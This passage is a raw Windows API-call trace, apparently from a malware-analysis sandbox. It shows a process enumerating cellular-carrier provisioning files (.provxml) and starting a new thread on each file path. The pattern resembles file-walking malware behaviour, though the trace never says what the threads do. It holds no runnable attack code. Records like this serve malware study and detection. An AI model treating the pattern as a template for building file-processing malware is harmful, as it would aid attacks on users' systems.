ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="461__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml", cAlternateFileName="461__C~1.PRO")) returned 1 [0180.905] wcscmp (_String1="461__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.905] wcscmp (_String1="461__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.905] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x30598b0 [0180.905] wcscpy (in: _Dest=0x30598b0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.905] wcscat (in: _Dest=0x30598b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.905] wcscat (in: _Dest=0x30598b0, _Source="461__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\461__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\461__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml" [0180.906] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x30598b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e0 [0180.906] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91096761, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91096761, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91096761, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="462__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml", cAlternateFileName="462__C~1.PRO")) returned 1 [0180.906] wcscmp (_String1="462__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.906] wcscmp (_String1="462__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.906] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x3058b40 [0180.906] wcscpy (in: _Dest=0x3058b40, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.906] wcscat (in: _Dest=0x3058b40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.906] wcscat (in: _Dest=0x3058b40, _Source="462__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\462__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\462__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml" [0180.906] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3058b40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x970 [0180.907] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910bc9cd, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x910bc9cd, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x910bc9cd, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="463__Connections_Cellular_Astelit (Ukraine)_i0$(__MVID)@WAP.provxml", cAlternateFileName="463__C~1.PRO")) returned 1 [0180.907] wcscmp (_String1="463__Connections_Cellular_Astelit (Ukraine)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.907] wcscmp (_String1="463__Connections_Cellular_Astelit (Ukraine)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.907] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x144) returned 0x3058738 [0180.907] wcscpy (in: _Dest=0x3058738, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.907] wcscat (in: _Dest=0x3058738, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.907] wcscat (in: _Dest=0x3058738, _Source="463__Connections_Cellular_Astelit (Ukraine)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\463__Connections_Cellular_Astelit (Ukraine)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\463__Connections_Cellular_Astelit (Ukraine)_i0$(__MVID)@WAP.provxml" [0180.907] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3058738, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x564 [0180.908] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910bc9cd, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x910bc9cd, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x910bc9cd, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x281, dwReserved0=0x0, dwReserved1=0x0, cFileName="464__Connections_Cellular_UMC (Ukraine)_i0$(__MVID)@WAP.provxml", cAlternateFileName="464__C~1.PRO")) returned 1 [0180.908] wcscmp (_String1="464__Connections_Cellular_UMC (Ukraine)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.908] wcscmp (_String1="464__Connections_Cellular_UMC (Ukraine)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.908] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13c) returned 0x4f01f40 [0180.908] wcscpy (in: _Dest=0x4f01f40, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.908] wcscat (in: _Dest=0x4f01f40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.908] wcscat (in: _Dest=0x4f01f40, _Source="464__Connections_Cellular_UMC (Ukraine)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\464__Connections_Cellular_UMC (Ukraine)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\464__Connections_Cellular_UMC (Ukraine)_i0$(__MVID)@WAP.provxml" [0180.908] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f01f40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a4 [0180.909] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910bc9cd, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x910bc9cd, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x910bc9cd, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x287, dwReserved0=0x0, dwReserved1=0x0, cFileName="465__Connections_Cellular_Utel INET (Ukraine)_i0$(__MVID)@WAP.provxml", cAlternateFileName="465__C~1.PRO")) returned 1 [0180.909] wcscmp (_String1="465__Connections_Cellular_Utel INET (Ukraine)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.909] wcscmp (_String1="465__Connections_Cellular_Utel INET (Ukraine)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.909] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x148) returned 0x30594a8 [0180.909] wcscpy (in: _Dest=0x30594a8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.909] wcscat (in: _Dest=0x30594a8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.909] wcscat (in: _Dest=0x30594a8, _Source="465__Connections_Cellular_Utel INET (Ukraine)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\465__Connections_Cellular_Utel INET (Ukraine)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\465__Connections_Cellular_Utel INET (Ukraine)_i0$(__MVID)@WAP.provxml" [0180.909] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x30594a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x648 [0180.910] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910bc9cd, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x910bc9cd, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x910bc9cd, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2be, dwReserved0=0x0, dwReserved1=0x0, cFileName="466__Connections_Cellular_du (United Arab Emirates)_i0$(__MVID)@WAP.provxml", cAlternateFileName="466__C~1.PRO")) returned 1 [0180.910] wcscmp (_String1="466__Connections_Cellular_du (United Arab Emirates)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.910] wcscmp (_String1="466__Connections_Cellular_du (United Arab Emirates)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.910] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x154) returned 0x2fa3940 [0180.910] wcscpy (in: _Dest=0x2fa3940, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.910] wcscat (in: _Dest=0x2fa3940, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.910] wcscat (in: _Dest=0x2fa3940, _Source="466__Connections_Cellular_du (United Arab Emirates)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\466__Connections_Cellular_du (United Arab Emirates)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\466__Connections_Cellular_du (United Arab Emirates)_i0$(__MVID)@WAP.provxml" [0180.910] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa3940, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6ac [0180.911] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910e2c39, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x910e2c39, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x910e2c39, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28a, dwReserved0=0x0, dwReserved1=0x0, cFileName="467__Connections_Cellular_du EITC (United Arab Emirates)_i0$(__MVID)@WAP.provxml", cAlternateFileName="467__C~1.PRO")) returned 1 [0180.911] wcscmp (_String1="467__Connections_Cellular_du EITC (United Arab Emirates)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.911] wcscmp (_String1="467__Connections_Cellular_du EITC (United Arab Emirates)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.911] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x15e) returned 0x2fa3aa8 [0180.911] wcscpy (in: _Dest=0x2fa3aa8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.911] wcscat (in: _Dest=0x2fa3aa8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.911] wcscat (in: _Dest=0x2fa3aa8, _Source="467__Connections_Cellular_du EITC (United Arab Emirates)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\467__Connections_Cellular_du EITC (United Arab Emirates)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\467__Connections_Cellular_du EITC (United Arab Emirates)_i0$(__MVID)@WAP.provxml" [0180.911] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa3aa8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x568 [0180.912] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910e2c39, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x910e2c39, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x910e2c39, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x294, dwReserved0=0x0, dwReserved1=0x0, cFileName="468__Connections_Cellular_Etisalat (United Arab Emirates)_i0$(__MVID)@WAP.provxml", cAlternateFileName="468__C~1.PRO")) returned 1 [0180.912] wcscmp (_String1="468__Connections_Cellular_Etisalat (United Arab Emirates)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.912] wcscmp (_String1="468__Connections_Cellular_Etisalat (United Arab Emirates)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.912] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x160) returned 0x2fa2428 [0180.912] wcscpy (in: _Dest=0x2fa2428, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.912] wcscat (in: _Dest=0x2fa2428, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.912] wcscat (in: _Dest=0x2fa2428, _Source="468__Connections_Cellular_Etisalat (United Arab Emirates)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\468__Connections_Cellular_Etisalat (United Arab Emirates)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\468__Connections_Cellular_Etisalat (United Arab Emirates)_i0$(__MVID)@WAP.provxml" [0180.912] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa2428, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x924 [0180.913] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910e2c39, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x910e2c39, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x910e2c39, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x29f, dwReserved0=0x0, dwReserved1=0x0, cFileName="469__Connections_Cellular_Cable & Wireless Guernsey Ltd (United Kingdom)_i0$(__MVID)@WAP.provxml", cAlternateFileName="469__C~1.PRO")) returned 1 [0180.913] wcscmp (_String1="469__Connections_Cellular_Cable & Wireless Guernsey Ltd (United Kingdom)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.913] wcscmp (_String1="469__Connections_Cellular_Cable & Wireless Guernsey Ltd (United Kingdom)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.913] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x17e) returned 0x2faa918 [0180.913] wcscpy (in: _Dest=0x2faa918, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.913] wcscat (in: _Dest=0x2faa918, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.913] wcscat (in: _Dest=0x2faa918, _Source="469__Connections_Cellular_Cable & Wireless Guernsey Ltd (United Kingdom)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\469__Connections_Cellular_Cable & Wireless Guernsey Ltd (United Kingdom)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\469__Connections_Cellular_Cable & Wireless Guernsey Ltd (United Kingdom)_i0$(__MVID)@WAP.provxml" [0180.913] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2faa918, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x644 [0180.913] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9026e179, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9026e179, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9026e179, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="46__Connections_Cellular_ORANGE (Belgium)_i1$(__MVID)@WAP.provxml", cAlternateFileName="46__CO~1.PRO")) returned 1 [0180.913] wcscmp (_String1="46__Connections_Cellular_ORANGE (Belgium)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.913] wcscmp (_String1="46__Connections_Cellular_ORANGE (Belgium)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.914] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x140) returned 0x4f02ea0 [0180.914] wcscpy (in: _Dest=0x4f02ea0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.914] wcscat (in: _Dest=0x4f02ea0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.914] wcscat (in: _Dest=0x4f02ea0, _Source="46__Connections_Cellular_ORANGE (Belgium)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\46__Connections_Cellular_ORANGE (Belgium)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\46__Connections_Cellular_ORANGE (Belgium)_i1$(__MVID)@WAP.provxml" [0180.914] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f02ea0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x920 [0180.914] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910e2c39, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x910e2c39, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x910e2c39, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="470__Connections_Cellular_Manx Telecom (Pronto GSM) (United Kingdom)_i0$(__MVID)@WAP.provxml", cAlternateFileName="470__C~1.PRO")) returned 1 [0180.914] wcscmp (_String1="470__Connections_Cellular_Manx Telecom (Pronto GSM) (United Kingdom)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.914] wcscmp (_String1="470__Connections_Cellular_Manx Telecom (Pronto GSM) (United Kingdom)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.914] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x176) returned 0x2ff25d0 [0180.914] wcscpy (in: _Dest=0x2ff25d0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.914] wcscat (in: _Dest=0x2ff25d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.914] wcscat (in: _Dest=0x2ff25d0, _Source="470__Connections_Cellular_Manx Telecom (Pronto GSM) (United Kingdom)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\470__Connections_Cellular_Manx Telecom (Pronto GSM) (United 